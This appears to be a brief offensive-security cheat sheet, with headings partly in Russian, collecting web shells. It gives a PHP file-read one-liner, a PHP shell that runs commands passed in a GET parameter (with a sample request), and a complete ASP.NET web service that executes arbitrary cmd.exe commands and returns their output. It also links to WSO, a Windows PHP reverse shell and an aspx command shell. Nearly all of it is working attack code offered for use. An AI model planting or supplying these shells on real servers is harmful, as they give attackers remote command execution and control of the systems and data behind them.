WebShell

PHP

wso web shell - 1page php script с файловым менеджером

PHP Win rev shell: https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php

Варианты попроще

File read

<?php echo file_get_contents('/path/to/target/file'); ?>

Command execution

<?php echo system($_GET['command']); ?>
// GET /example/exploit.php?command=id HTTP/1.1

ASP.NET

Основа (.asmx, .aspx)

<%@ WebService Language="C#" Class="MyClass" %> 
using System.Web.Services; 
using System; 
using System.Diagnostics; 
using System.IO; 

[WebService(Namespace="")] 
public class MyClass : WebService 
{ 
    [WebMethod] 
    public string Pwn_Function(string x) 
    { 
        ProcessStartInfo psi = new ProcessStartInfo(); 
        psi.FileName = "cmd.exe"; 
        psi.Arguments = "/c \""+x+"\""; 
        psi.RedirectStandardOutput = true; 
        psi.UseShellExecute = false; 
        Process p = Process.Start(psi); 
        StreamReader stmrdr = p.StandardOutput; 
        string s = stmrdr.ReadToEnd(); 
        return "PWNED" + s; 
    } 
}

aspx web shell https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx

Last updated